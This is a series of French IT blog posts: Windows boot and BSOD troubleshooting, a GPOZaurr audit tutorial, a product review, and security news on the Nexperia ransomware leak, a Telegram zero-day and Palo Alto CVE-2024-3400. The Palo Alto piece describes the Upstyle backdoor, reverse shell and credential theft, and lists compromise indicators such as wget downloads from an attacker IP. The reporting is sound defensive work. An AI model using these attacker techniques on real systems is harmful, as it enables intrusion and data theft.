• Puis choisissez pour désinstaller mise à jour de qualité (mensuelle) ou de fonctionnalités (annuelle)

Réparer le démarrage de Windows 10

Une autre source des problèmes de chargement de Windows 10 est que les fichiers de configuration de démarrage sont corrompus.
En général, une erreur BCD vous le notifie mais si cela empêche le démarrage, vous pouvez tenter de réparer le démarrage de Windows 10 en invite de commandes.

• Accédez aux options de dépannage avancées
• Cliquez sur invite de commandes
• Puis saisissez la commande suivante :

bcdboot C:\Windows

• Si cela doit indiquer que les fichiers de démarrage ont été copiés correctement
• Redémarrez le PC pour tester si Windows 10 est maintenant accessible

Restaurer Windows 10

Voici comment restaurer Windows à une date antérieure :

• Démarrez votre PC depuis ;
  • Les options de dépannage et de récupération de Windows 10/11
  • Un lecteur de récupération de Windows 10, 11
• Une fois sur le menu des options de récupération, il faut cliquer sur Dépannage

• Puis cliquez sur Options avancées
• Ce donne accès aux options de dépannage pour restaurer Windows

• Enfin, vous pouvez cliquez sur Restauration du système

• L’assistant de restauration du système s’ouvre, il faut se laisser guider.
• Faites Suivant.

• Choisissez le point de restauration dans la liste et faites suivant.

• Confirmer la restauration du système en faisant Terminer et Oui.

• Si tout va bien la restauration s’effectue et vous indique qu’elle a réussi
• Redémarrez alors votre PC normalement pour lancer Windows

Plus de détails dans ces tutoriels :

• Comment restaurer Windows 10
• Comment restaurer Windows 11

Vérifier le disque dur ou SSD

En plus des problèmes logiciels, un problème matériel peut aussi empêcher le chargement de Windows.
Le plus courant étant une défaillance du support de stockage ; notamment celui qui stocke la partition C et la partition EFI.
Vous devez vérifier la santé de votre disque dur à partir d’un Live USB :

• Vérifier le matériel de son ordinateur avec Ubuntu
• Live USB Malekal
• Live USB MediCat

Les deux derniers Live USB embarquent le logiciel CrystalDiskInfo pour vérifier l’état des disques à travers la technologie S.M.A.R.T.
Pour Ubuntu, suivez le tutoriel fourni ci-dessus.

Réinstaller Windows 10

Vous pouvez réinitialiser le PC depuis les options de récupération. Vous avez la possibilité de conserver les données personnelles mais il faudra réinstaller vos applications.
Pour ce faire, choisissez l’option “Réinitialiser ce PC” depuis les options de récupération.

Si la réinitialisation de Windows 10, est impossible (blocage, plantage, etc), la seule solution est de réinstaller Windows 10 avec une clé USB.
Aidez-vous de ces tutoriels :

• Réinstaller Windows 10 proprement (clean install)
• Comment installer Windows 10 : le tutoriel COMPLET

L’article Mon PC s’allume mais ne démarre pas en Windows 10 est apparu en premier sur malekal.com.

Nexperia, un important fabricant de semi-conducteurs néerlandais, a été victime d'une cyberattaque par ransomware lors de laquelle les pirates sont parvenus à exfiltrer des données de l'entreprise. Voici ce que l'on sait sur cet incident de sécurité !

Établie aux Pays-Bas, l'entreprise Nexperia est un fabricant de semi-conducteurs présents dans le monde avec 15 000 employés répartis en Europe, aux États-Unis et en Asie. L'entreprise Nexperia fabrique et expédie plus de 100 milliards de produits par an, et elle réalise un chiffre d'affaires annuel de plus de 2,1 milliards de dollars.

Vendredi 12 avril 2024, un communiqué de presse a été publié par Nexperia afin de confirmer publiquement qu'un groupe de cybercriminels était parvenu à s'introduire sur certains serveurs. Cette intrusion a eu lieu en mars 2024 et dès qu'elle a été détectée, les équipes de Nexperia sont intervenues : "Nous avons rapidement pris des mesures et déconnecté les systèmes concernés de l'internet afin de contenir l'incident et de mettre en œuvre des mesures d'atténuation importantes."

En parallèle, Nexperia a ouvert une enquête dans le but d'identifier la nature et les conséquences exactes de l'incident. Les investigations sont menées en collaboration avec une équipe de spécialistes de chez FoxIT, sollicités en réponse à cet incident.

1 To de données dans la nature ?

Le 10 avril 2024, le site d'extorsion "Dunghill Leak" a annoncé le vol de 1 To de données confidentielles sur les serveurs de Nexperia. Si la rançon n'est pas payée par le fabricant néerlandais, Dunghill menace de publier les données (ou de les revendre à un tiers malveillant) suivantes :

• 371 Go de données sur la conception et les produits, y compris le contrôle de qualité, les accords de confidentialité, les secrets commerciaux, les spécifications techniques, les schémas confidentiels et les instructions de production.
• 246 Go de données d'ingénierie, dont des documents correspondants à des études internes et des technologies de fabrication.
• 96 Go de données commerciales et de marketing, y compris des analyses de prix.
• 41,5 Go de données liées aux ressources humaines, aux données personnelles des employés, avec notamment des copies de passeports de salariés.
• 109 Go de données de clients et d'utilisateurs, parmi lesquelles des marques comme SpaceX, IBM, Apple et Huawei.
• 121,1 Go de fichiers et de données diverses, dont des fichiers relatifs aux e-mails.

En guise de preuves, une partie des données a été divulguée par Dunghill : des images de composants électroniques scannés au microscope, des passeports d'employés et des accords de non-divulgation. Pour le moment, Nexperia ne s'est pas exprimé au sujet de ces documents.

Source

The post Le fabricant de semi-conducteurs Nexperia victime d’une cyberattaque par ransomware ! first appeared on IT-Connect.

I. Présentation

En environnement Active Directory, les stratégies de groupe jouent un rôle dans l'administration et la sécurisation des postes de travail et des serveurs. Néanmoins, au fil des années, elles sont susceptibles de s'accumuler et l'équipe IT peut finir par perdre le contrôle sur leurs GPO et ne plus avoir une bonne visibilité sur le rôle de chacune d'elle... Au point, de se retrouver avec des GPO en double, des GPO vides, des GPO avec des permissions incorrectes, ou tout simplement des GPO mal configurées. D'ailleurs, tôt ou tard, ceci pourrait être à l'origine d'un problème avec l'une de vos stratégies de groupe...

Nous pouvons dire que l'administration des GPO est un véritable défi, surtout quand elles sont nombreuses et gérées par plusieurs personnes. Dans ce tutoriel, nous allons découvrir l'outil GPOZaurr, qui pourra vous venir en aide puisque ce module PowerShell va analyser l'intégralité de vos GPO et vous générer un joli rapport que vous pourrez ensuite analyser.

Il sera d'une aide précieuse à celles et ceux qui ont la volonté de faire du tri dans leurs GPO, mais également si vous cherchez à investiguer sur un problème de stratégies de groupe. Nous pourrions même dire que GPOZaurr permet de faire un audit des GPO. En complément, vous pouvez lire cet article :

• Cliquez ici pour regarder la vidéo sur YouTube

• Tutoriel - Ma GPO ne fonctionne pas : 14 pistes et conseils pour s'en sortir !

II. Les vérifications effectuées par GPOZaurr

Lorsque nous allons exécuter un audit avec GPOZaurr, l'outil va vérifier près d'une vingtaine de points de configuration et anomalies potentielles. Par exemple :

• Détection des GPO "cassées", c'est-à-dire des GPO qui sont présentes dans l'Active Directory mais qui ne sont plus dans SYSVOL, ou inversement. Ceci crée des GPO orphelines qui ne fonctionneront pas.
• Détection des liens de GPO "cassés, c'est-à-dire que la GPO a été supprimée, mais qu'une ou plusieurs liaisons n'ont pas été correctement supprimés.
• Détection des problèmes et des incohérences sur les permissions de GPO.
• Détection des GPO dupliquées.
• Détection des GPO vides.
• Détection des GPO avec une section désactivée alors qu'il y a des paramètres configurés
• Détection des mots de passe dans les GPO.
• Inventorier tous les fichiers présents dans le SYSVOL, ce qui permettra de faciliter la détection de fichiers inutiles et/ou malveillants.
• Inventorier toutes les unités d'organisation dont l'héritage est bloqué et vérifier le nombre d'utilisateurs ou d'ordinateurs concernés.
• Catégorisation des GPO, en fonction des paramètres configurés.
• Vérification des autorisations sur le partage NetLogon.
• Détection de fichiers ADM (legacy) dans le SYSVOL.

Il fournira aussi un rapport complet sur l'ensemble de vos GPOs permettant d'identifier les GPO vides, non liées, appliquées, désactivées, sans filtrage de sécurité, etc...

Vous pouvez retrouver le projet GPOZaurr sur GitHub :

• GitHub - GPOZaurr

III. Installer GPOZaurr

Tout d'abord, ouvrez une console PowerShell sur votre machine et installez le module GPOZaurr :

Install-Module -Name GPOZaurr

Vous devez savoir que GPOZaurr va également installer les modules PSWriteHTML, ADEssentials, PSSharedGoods, PSWriteColor, car ce sont des prérequis à son fonctionnement. D'ailleurs, c'est le même développeur principal derrière ces différents modules, et vous connaissez peut-être déjà l'excellent module PSWriteHTML.

Si l'installation ne passe pas avec la commande ci-dessus, réessayez avec celle-ci :

Install-Module -Name GPOZaurr -AllowClobber -Force

Par ailleurs, GPOZaurr nécessite l'installation des outils RSAT pour l'Active Directory et la console de "Gestion des stratégies de groupe" pour être en mesure d'effectuer l'analyse de votre environnement. Ces consoles sont présentes sur les serveurs contrôleurs de domaine Active Directory et peuvent être installées sur un serveur ou poste de travail d'administration.

IV. Générer un rapport avec GPOZaurr

Une fois que GPOZaurr est installé, vous pouvez l'exécuter via le cmdlet "Invoke-GPOZaurr" pour qu'il effectue une analyse de vos GPO.

Remarque : vous devez l'exécuter avec un compte Administrateur pour que l'ensemble des points puissent être vérifiés. A partir d'un compte utilisateur standard, certaines informations pourront être récupérées, mais l'analyse sera partielle.

Invoke-GPOZaurr

Sans aucun paramètre, GPOZaurr va effectuer une analyse complète des stratégies de groupe de votre domaine Active Directory. Ainsi, sur un domaine avec plusieurs milliers de GPO, l'analyse peut durer plusieurs heures. Sur mon Lab, où il y a un peu moins de 100 GPO, l'analyse est relativement rapide puisqu'elle nécessite environ 2 minutes.

Si vous souhaitez effectuer une analyse uniquement sur certaines catégories ou certaines anomalies, sachez que ce cmdlet intègre un paramètre nommé "-Type" qui vous permettra de spécifier le périmètre de l'analyse.

Invoke-GPOZaurr -Type <Nom du rapport>
# Exemple n°1 :
Invoke-GPOZaurr -Type GPOBroken
# Exemple n°2 :
Invoke-GPOZaurr -Type GPOBroken,GPOPermissions

Voici la liste des valeurs disponibles :

Par ailleurs, le paramètre "-FilePath" vous offre la possibilité de nommer le rapport comme vous le souhaitez et de le stocker dans le répertoire de votre choix. Sinon, par défaut, ce sera dans le répertoire temporaire de l'utilisateur utilisé pour lancer l'analyse. L'exemple ci-dessous vous permettra d'intégrer la date et l'heure dans le nom du rapport.

Invoke-GPOZaurr -FilePath "C:\TEMP\GPOZaurr_$(Get-Date -Format yyyyMMdd-hhmm).html"

V. Découverte du rapport de GPOZaurr

Le rapport s'ouvrir sur votre machine dès lors que l'analyse est terminée. La partie supérieure du rapport contient un ensemble d'onglets, ce qui permet de naviguer dans les différentes catégories. Chaque onglet contient une zone qui décrit ce qui a été analysé, un graphique, ainsi qu'un tableau récapitulatif avec le statut de vos GPO.

Chaque sous-rapport peut être exporté au format Excel, CSV ou PDF. De plus, vous pouvez effectuer des recherches sur chaque colonne d'un tableau afin de filtrer les résultats rapidement.

Pour avoir une vue d'ensemble de vos GPO, cliquez sur l'onglet "Group Policy Summary". Il offre un aperçu global sur l'ensemble de vos GPO avec quelques indicateurs clés (oui/non) : GPO vide, GPO activée, GPO optimisée, GPO avec un problème, GPO liée, etc.

En complément, si vous basculez sur l'onglet "Group Policy Content", vous pourrez constater que GPOZaurr a organisé vos GPO par catégorie. Par exemple, la catégorie "Audit" permet de voir toutes les GPO qui permettent de configurer des paramètres de stratégies d'audit.

Chaque onglet contient des informations intéressantes et qui pourront s'avérer plus ou moins utiles et pertinentes selon le contexte dans lequel vous utilisez GPOZaurr. Si vous passez sur l'onglet "SYSVOL (NetLogon) Files List", vous pourrez visualiser l'ensemble des fichiers détectés dans le partage SYSVOL. Ce sera aussi l'occasion de voir si ces fichiers sont liés à une GPO, ou pas.

GPOZaurr est également capable de corriger les problèmes à votre place, grâce à un processus étape par étape où l'outil vous fournit les commandes PowerShell à exécuter pour faire le nécessaire. À chaque fois que vous changez d'onglet, les étapes de remédiation sont adaptées en fonction du contexte. Néanmoins, je vous recommande de corriger les problèmes vous-même et d'utiliser GPOZaurr uniquement pour vous faciliter le travail d'analyse. Même rien ne vous empêche de vous inspirer de la solution proposée, mais l'objectif étant de limiter les effets indésirables...

VI. Conclusion

J'ai découvert GPOZaurr récemment, et c'est bien dommage.... Il aurait pu me rendre bien des services pour investiguer sur des problèmes de GPO, générer un rapport complet sur les GPO pour un audit ou encore pour effectuer du tri dans les GPO. J'espère que cet article vous donnera envie de l'utiliser et de l'ajouter à votre boite à outils !

En complément de cet article, vous pouvez lire celui rédigé par l'auteur de ce module (en anglais) :

• Evotec.xyz - GPOZaurr

The post GPOZaurr, l’outil ultime pour analyser vos stratégies de groupe first appeared on IT-Connect.

L’écran bleu VIDEO_MEMORY_MANAGEMENT_INTERNAL est une erreur fatale de Windows avec comme valeur 0x0000010E.
Généralement, cela se produit lors d’un comportement incorrect d’un pilote vidéo.

Si vous rencontrez ce problème, voici plusieurs solutions que vous pouvez appliquer afin de corriger cet écran bleu.

Quelles sont les causes de l’écran bleu VIDEO MEMORY MANAGEMENT INTERNAL

Comme les mots vidéo et memory du code d’arrêt l’indiquent, il s’agit dans la plupart des cas, d’un problème lors de la lecture ou l’écriture de données dans la mémoire de la carte graphique (mémoire VRAM).
Cela peut avoir plusieurs sources. Voici les principales sources de ce problème de stabilité de Windows :

• Pilotes graphiques obsolètes ou corrompus : Les pilotes graphiques sont responsables de la gestion de la mémoire vidéo de votre système. Des pilotes graphiques obsolètes, corrompus ou incompatibles peuvent entraîner des erreurs de gestion de la mémoire vidéo, y compris l’écran bleu VIDEO_MEMORY_MANAGEMENT_INTERNAL
• Problèmes matériels : Des problèmes matériels tels que des barrettes de mémoire défectueuses, une carte graphique endommagée ou un problème de connexion entre la carte graphique et la carte mère peuvent également provoquer cette erreur. Cela peut aussi se produire si vous venez de remplacer la carte graphique et que votre alimentation est trop petite
• Surchauffe du matériel : Une surchauffe du processeur, de la carte graphique ou d’autres composants matériels peut entraîner des erreurs de gestion de la mémoire vidéo. Une ventilation insuffisante ou une accumulation de poussière dans le boîtier de l’ordinateur peuvent aggraver ce problème
• Logiciels malveillants : Les logiciels malveillants peuvent corrompre les fichiers système, y compris les pilotes graphiques, ce qui peut entraîner des erreurs de gestion de la mémoire vidéo
• Problèmes de mise à jour Windows : Des problèmes lors de la mise à jour de Windows peuvent entraîner des incompatibilités avec les pilotes graphiques ou d’autres composants du système, ce qui peut provoquer des erreurs de gestion de la mémoire vidéo. Une vérification Malwarebytes Anti-Malware suffit

Comment résoudre le BSOD VIDEO MEMORY MANAGEMENT INTERNAL

Vérifier les fichiers systèmes manquants et endommagés

Pour réparer les fichiers systèmes de Windows 10 ou Windows 11, on utilise les utilitaires SFC (vérificateur de fichiers systèmes) et DISM.
Ces deux outils s’utilisent en invite de commandes.

• Ouvrez une invite de commandes :
  • Comment ouvrir une invite de commandes sur Windows 10
  • Comment ouvrir Windows Terminal sur Windows 11
• Ensuite on peut utiliser DISM pour réparer les images de Windows 10/11. Pour cela, utilisez la commande suivante :

Dism /Online /Cleanup-Image /CheckHealth

• Puis enchaînez avec une vérification et réparation des fichiers corrompus et manquants avec l’outil SFC. Pour cela, saisissez :

sfc /scannow

Laisse le vérificateur de fichiers systèmes analyser Windows 10 ou Windows 11.
Enfin si des fichiers systèmes sont corrompus, SFC tente de les réparer.

Plus de détails dans l’article suivant :

Réinstaller proprement les pilotes graphiques

Les pilotes de la carte graphique peuvent buguer ce qui provoque des plantages systèmes (BSOD, freez complet, …).
Lorsque cela arrive, il faut réinstaller proprement la dernière version des pilotes graphiques.

Commencez par un nettoyage avec Display Driver Uninstaller :

Puis téléchargez et installez les pilotes de la carte vidéo :

• AMD Radeon : Mettre à jour les pilotes carte graphique
• NVIDIA : Mettre à jour les pilotes de la carte graphique
• Intel HD Graphics : installer/mettre à jour les pilotes

Quand cela est fait, vérifiez si les écrans bleus VIDEO MEMORY MANAGEMENT INTERNAL sont résolus.

Vérifier la température de l’ordinateur

Des surchauffes du PC et notamment de la carte vidéo peuvent provoquer des plantages.
C’est un élément important à vérifier pour résoudre l’écran bleu VIDEO MEMORY MANAGEMENT INTERNAL.
Vous pouvez vérifier les températures du GPU avec plusieurs logiciels comme Speccy, HWMonitor ou HWiNFO.
Utilisez votre ordinateur normalement en surfant, en lançant des vidéos YouTube. La température de la carte graphique ne doit pas dépasser les 65 degrés.
Si elle va au delà, il faut nettoyer l’intérieur de votre ordinateur, pour cela suivez ce guide complet : Comment nettoyer l’intérieur de son PC et le dépoussiérer

Mettre à jour le BIOS du PC

Dans de rares cas, un bug du BIOS peut être à l’origine des écrans bleus.
Cela est souvent le cas sur des PC neufs.
Pour résoudre cela, il faut mettre à jour le BIOS du PC. Pour y parvenir, suivez ce guide :

Restaurer Windows

Pour résoudre les problèmes logiciels à l’origine des BSOD, vous pouvez tenter de restaurer Windows.
L’objectif est de revenir à un point de restauration antérieure pour annuler des modifications récentes qui peuvent être à l’origine d’instabilités du système.

• Sur votre clavier, appuyez sur la touche + R
• Dans la fenêtre exécuter, copiez/collez : rstrui.exe
• Puis cliquez sur OK

• Faites suivant et sélectionnez un point de restauration système antérieur au problème rencontré
• Cliquez sur Suivant et laissez vous guider pour terminer la restauration du système

Plus de détails :

• Comment restaurer Windows 10 : les étapes pas à pas
• Restaurer Windows 11 à une date antérieure : toutes les étapes

Vérifier la présence de problèmes matériels

Pour tester l’hypothèse d’un problème matériel, vous pouvez tester le fonctionnement de votre ordinateur sur un Live USB.
Le but est de vérifier si le PC plante aussi.

• Comment télécharger et créer un Live USB Ubuntu
• Live USB Malekal
• Live USB MediCat

Si le PC plante, consultez un professionnel en informatique pour un diagnostic plus approfondi et des réparations matérielles si nécessaire.
Si par contre le PC est stable, tentez de réparer ou de le réinitialiser :

• Réparer Windows 10 sans perte de données
• Réparer Windows 11 sans perte de données

L’article Résoudre l’écran bleu VIDEO MEMORY MANAGEMENT INTERNAL est apparu en premier sur malekal.com.

HashiCorp changed Terraform's license from open source to Business-Source License (BSL). Soon after, the open-source fork OpenTofu became available. OpenTofu is an infrastructure-as-code (IaC) tool that allows you to define and manage your infrastructure in configuration files. In this post, I demonstrate with a practical example how to create an EC2 instance in AWS with OpenTofu.

Votre PC est sous Windows et vous utilisez l'application Telegram pour ce système d'exploitation ? Alors, sachez que Telegram a effectué une modification pour vous protéger d'une nouvelle faille de sécurité zero-day.

Telegram a corrigé une faille de sécurité zero-day pour protéger les utilisateurs de son application bureau pour Windows. En l'exploitant, un attaquant peut contourner les mécanismes de protection et exécuter des scripts Python sur la machine cible. In fine, ceci permettrait d'exécuter du code à distance sur la machine de l'utilisateur qui utilise une version vulnérable de l'application Telegram, même si cela implique une interaction de la part de l'utilisateur.

Une démonstration de l'exploitation de cette vulnérabilité a été publiée sur le réseau social X. Telegram a d'abord indiqué qu'il s'agissait d'un canular. Mais, le lendemain, un exploit PoC a été publié sur le forum de piratage XSS pour montrer qu'il était possible d'exécuter des scripts Python ayant l'extension ".pyzw" sur Windows, par l'intermédiaire de l'application Telegram. Ainsi, un attaquant pourrait utiliser l'icône d'une vidéo pour inciter l'utilisateur à cliquer sur un lien dans le but d'exécuter le script malveillant.

En principe, l'application Telegram devrait déclencher un avertissement pour "bloquer" l'exécution de ce type de fichiers, mais là ce n'est pas le cas. Précisons également que Python doit être installé sur l'ordinateur de l'utilisateur pour que le script soit exécuté, ce qui fait une condition supplémentaire.

Finalement, Telegram a reconnu l'existence de cette vulnérabilité et a pris la décision de la corriger. Toutefois, le correctif a été implémenté du côté des serveurs Telegram, donc les utilisateurs n'ont rien à faire : il n'y a aucune mise à jour installer. "Un correctif côté serveur a été appliqué pour s'assurer que ce problème ne se reproduise plus, de sorte que toutes les versions de Telegram Desktop (y compris les plus anciennes) n'ont plus ce problème.", a précisé Telegram.

En fait, Telegram s'appuie sur une liste d'extensions correspondante à tous les fichiers "à risques" et potentiellement malveillants. Celle-ci permet d'indiquer à l'application Telegram quand elle doit afficher l'avertissement de sécurité.

Source

The post Telegram a corrigé une faille de sécurité zero-day dans son application pour Windows first appeared on IT-Connect.

Dimanche 14 avril 2024, Palo Alto Networks a tenu sa promesse en mettant en ligne des premiers correctifs pour corriger la nouvelle faille de sécurité critique (CVE-2024-3400) découverte dans le système PAN-OS de ses firewalls. D'autres correctifs sont attendus dans les prochains jours. Faisons le point.

Rappel sur la CVE-2024-3400

Le système PAN-OS, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une faille de sécurité critique (CVE-2024-3400) associée à un score CVSS de 10 sur 10 ! C'est une vulnérabilité de type "injection de commande" et elle a été découverte dans la fonction GlobalProtect du système PAN-OS.

Désormais, des correctifs sont disponibles pour certaines versions de PAN-OS. Sinon, sans ce correctif, pour vous protéger, vous devez désactiver la télémétrie sur votre firewall, ou activer la protection contre la menace avec l'ID 95187 dans la fonction "Threat Prevention".

Il est important de rappeler également qu'il y a des tentatives d'exploitation de cette faille de sécurité depuis le 26 mars 2024. Les pirates l'utilisent pour déployer une porte dérobée sur le firewall Palo Alto, et ensuite, essaient de pivoter vers le réseau interne de l'entreprise.

Pour en savoir plus, et connaitre les versions de PAN-OS impactées, lisez nos articles sur cette alerte de sécurité :

• Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !
• Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée !

Les correctifs de sécurité pour la CVE-2024-3400

Les firewalls Palo Alto qui exécute les versions suivantes de PAN-OS sont potentiellement vulnérables : PAN-OS 10.2, 11.0 et 11.1. Désormais, l'éditeur a mis en ligne des correctifs de sécurité et il a mis à jour son bulletin de sécurité.

Pour le moment, trois correctifs de sécurité sont disponibles :

• PAN-OS 10.2.9-h1
• PAN-OS 11.0.4-h1
• PAN-OS 11.1.2-h3

Dans les prochains jours, d'autres correctifs sont attendus. Voici un tableau récapitulatif :

Version	Date de publication du correctif
10.2.8-h3	15/04/2024
10.2.7-h8	15/04/2024
10.2.6-h3	15/04/2024
10.2.5-h6	16/04/2024
10.2.4-h16	19/04/2024
10.2.3-h13	17/04/2024
10.2.1-h2	17/04/2024
10.2.2-h5	18/04/2024
10.2.0-h3	18/04/2024
11.0.3-h10	15/04/2024
11.0.2-h4	16/04/2024
11.0.1-h4	17/04/2024
11.0.0-h3	18/04/2024
11.1.1-h1	16/04/2024
11.1.0-h3	17/04/2024

Par ailleurs, rappelons deux choses :

• L'exploitation de la vulnérabilité dépend de la configuration du firewall : "Ce problème s'applique uniquement aux pare-feu PAN-OS 10.2, PAN-OS 11.0 et PAN-OS 11.1 avec les configurations de la passerelle GlobalProtect et la télémétrie de l'appareil activées.", précise Palo Alto.
• Cette vulnérabilité affecte uniquement le système PAN-OS, donc certaines versions spécifiques comme Cloud NGFW et Prisma Access ne sont pas impactées.

Si vous avez besoin d'aide pour installer la mise à jour, référez-vous à la documentation officielle de Palo Alto, notamment cette page.

The post Firewalls Palo Alto – CVE-2024-3400 : les premiers correctifs de sécurité sont disponibles ! first appeared on IT-Connect.

Les dernières nouvelles au sujet de la CVE-2024-3400 ne sont pas bonnes : depuis le 26 mars 2024, un groupe de pirates exploite cette faille de sécurité zero-day présente dans le système PAN-OS des firewalls Palo Alto pour déployer une porte dérobée et s'introduire dans le réseau interne des organisations dont le matériel a été compromis.

Rappel sur la CVE-2024-3400

Le système PAN-OS, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une faille de sécurité critique (CVE-2024-3400) associée à un score CVSS de 10 sur 10 ! C'est une vulnérabilité de type "injection de commande" et elle a été découverte dans la fonction GlobalProtect du système PAN-OS.

Un correctif est attendu pour ce dimanche 14 avril, mais à l'heure où ces lignes sont écrites, le correctif n'a pas encore été publié par Palo Alto Networks. En attendant, pour vous protéger, vous devez désactiver la télémétrie sur votre firewall, ou activer la protection contre la menace avec l'ID 95187 dans la fonction "Threat Prevention".

Pour en savoir plus, et connaitre les versions de PAN-OS impactées, lisez cet article publié vendredi dernier sur notre site :

• Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !

Une première tentative d'exploitation le 26 mars 2024

Dans son bulletin de sécurité, Palo Alto évoque le fait que cette vulnérabilité a déjà été exploitée par les cybercriminels, sans donner plus de précisions : "Palo Alto Networks a connaissance d'un nombre limité d'attaques qui exploitent cette vulnérabilité".

Néanmoins, si nous regardons ce rapport publié par la société Volexity, à l'origine de la découverte de cette vulnérabilité critique, nous apprenons qu'elle a été exploitée pour la première fois en mars 2024 : "La première preuve de tentative d'exploitation observée par Volexity jusqu'à présent remonte au 26 mars 2024, lorsque les attaquants ont semblé vérifier que l'exploitation fonctionnait correctement." - Le jour suivant, une autre tentative a été repérée par Volexity, puis, les pirates ont attendu le 10 avril 2024 pour déployer un payload.

L'acteur malveillant à l'origine de cette tentative d'exploitation est suivi par Veloxity sous le nom de UTA0218, et d'après eux, il est fort probable que ce soit un groupe de pirates sponsorisés par un État.

"Volexity estime qu'il est très probable que UTA0218 soit un acteur de menace soutenu par un État, compte tenu des ressources nécessaires pour développer et exploiter une vulnérabilité de cette nature, du type de victimes ciblées par cet acteur et des capacités affichées pour installer la porte dérobée Python et accéder aux réseaux des victimes", peut-on lire.

Une porte dérobée déployée, mais pas uniquement...

L'implant principal, appelé "Upstyle", correspond à une porte dérobée installée par l'intermédiaire d'un script Python associé à un fichier de configuration ("/usr/lib/python3.6/site-packages/system.pth"). Une fois que cette backdoor est déployée, les pirates peuvent l'exploiter pour exécuter des commandes sur le firewall compromis.

Comme le montre le schéma ci-dessous, les pirates transmettent les commandes à exécuter par l'intermédiaire de requêtes HTTP et ils génèrent volontairement une erreur. Ceci permet d'inscrire la requête, et donc la commande, dans le journal des erreurs du serveur Web du pare-feu. La porte dérobée va ensuite lire ce fichier journal et décoder la commande (base64) afin de l'exécuter.

En complément de la porte dérobée, d'autres payloads sont déployés sur le firewall : un reverse shell, un outil de suppression des logs, un outil pour exporter la configuration de PAN-OS ou encore l'outil de tunneling GOST.

Dans une attaque observée par Volexity, les pirates informatiques sont parvenus à pivoter vers le réseau interne et à voler différentes informations, parmi lesquelles la base de données Active Directory ("ntds.dit"), des journaux d'événements Windows, ou encore des données de navigateurs tels que Google Chrome et Microsoft Edge (identifiants et cookies).

Mon firewall Palo Alto a-t-il été compromis ?

Voilà une question que certains d'entre vous doivent se poser. Elle est légitime puisque cela fait plusieurs jours que cette vulnérabilité est exploitée par les cybercriminels et qu'il y a déjà eu plusieurs victimes.

Voici ce que nous dit Volexity :

"Il existe deux méthodes principales pour identifier la compromission d'un pare-feu concerné. La première méthode consiste à surveiller le trafic et l'activité du réseau émanant des dispositifs de pare-feu Palo Alto Networks. Volexity travaille toujours à la coordination avec Palo Alto Networks concernant la seconde méthode et ne la décrit donc pas pour l'instant.".

Au niveau des flux réseau, voici ce que vous devez vérifier dans les journaux :

- Vérifier si le pare-feu a effectué des requêtes "wget" vers Internet pour effectuer le téléchargement de ressources. En effet, les pirates utilisent cette commande pour récupérer des fichiers malveillants depuis leur serveur. Il s'agit de requête directe vers des adresses IP, notamment "172.233.228[.]93".

- Vérifier s'il y a eu des tentatives de connexions SMB et/ou RDP vers plusieurs systèmes de votre environnement, depuis l'appliance Palo Alto.

- Vérifier s'il y a eu des requêtes HTTP vers "worldtimeapi[.]org/api/timezone/etc/utc" à partir du pare-feu.

Nous vous tiendrons informés lorsque les correctifs seront mis en ligne.

Source

The post Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée ! first appeared on IT-Connect.

I. Présentation

Imaginez un instant : vous êtes installé confortablement dans votre canapé, accompagné par deux coussins très confortables, un de chaque côté pour poser vos coudes, et un plateau pour accueillir votre ensemble clavier-souris préféré, voire même un ordinateur portable. C'est la promesse des produits de chez Nerdytec, et plus particulièrement du Couchmaster CYCON² !

Un produit à la fois innovant et étonnant qui va vous permettre de vous installer très confortablement dans votre canapé, que ce soit pour travailler, naviguer sur le Web, ou encore passer des heures à jouer sur votre TV, sans galérer avec votre matériel sur les genoux ou posé sur un support peu adapté.

Voici à quoi ressemble le Couchmaster CYCON² de chez Nerdytec :

Le Couchmaster CYCON² est ce que l'on pourrait appeler un plateau pour le gaming ou un support ergonomique pour jouer ou travailler depuis son canapé, et la marque allemande Nerdytec en a fait sa spécialité. Tous les produits sont imaginés en Allemagne, dans les locaux de Nerdytec, et le modèle que nous vous présentons aujourd'hui, c'est l'un des best-sellers de la marque !

Voici quelques caractéristiques à son sujet :

• 6 ports USB 3.0 (2 externes & 4 internes), y compris un port de chargement rapide externe
• Gestion optimisée des câbles
• Grille de ventilation : non
• Poches latérales pratiques pour différents accessoires (et votre snack)
• Distance intérieure maximale des coussins : 75 cm
• Dimensions des coussins (L x l x H) : 60 x 20 x 16 cm
• Dimensions du support (L x l x H) : 82 x 33 x 3 cm

En complément, vous pouvez consulter cette page :

• Fiche produit sur le site officiel de Nerdytec

II. Package et design

Lorsque j'ai reçu le colis, il n'était pas en parfait état et il semblait avoir souffert pendant le transport, mais heureusement, ce fut sans conséquence pour le matériel. À l'intérieur du carton, les coussins sont dans un plastique tandis qu'une seconde boite cartonnée contient le plateau et l'ensemble des accessoires.

À l'intérieur du carton, nous avons un guide avec les instructions d'installation, deux coussins latéraux, un plateau Nerdytec avec un hub USB 3.0 intégré, un tapis de souris gaming, un petit sac pour ranger votre souris, de la bande auto-grippante, un bloc d'alimentation et son câble, ainsi qu'un câble de connexion hub de 0,8 mètre et un câble d'extension USB 3.0 de 5 mètres. Autant vous dire qu'il y a tout ce qu'il faut pour s'installer confortablement !

Chaque coussin jouera le rôle d'un accoudoir, un peu comme ceux que l'on retrouve sur les canapés : à la fois ferme et confortable, car l'idée est bien de pouvoir poser son coude et une partie de l'avant-bras de chaque côté.

Chaque coussin est déhoussable, ce qui signifie que vous pouvez laver les housses en machine à 30 degrés. C'est un point positif.

Le plateau du Couchmaster inspire confiance et la qualité de fabrication est très bonne. Le design est tout de même travaillé, et chaque zone où vous allez poser votre poignée, le plastique laisse sa place à une texture plus agréable. Le tapis de souris gaming fournit avec le Couchmaster pourra être collé sur le plateau, soit à droite, soit à gauche, grâce au scotch double-face intégré au package. Sachez que ce plateau n'a pas d'éclairage ou d'éléments lumineux, ce qui sera peut-être perçu comme un point négatif pour certains.

Au centre, sur la partie supérieur du plateau, nous avons accès à deux ports USB-A pour connecter ce que l'on souhaite. Bien entendu, ces ports USB sont reliés à votre PC par l'intermédiaire du Hub USB intégré au Couchmaster.

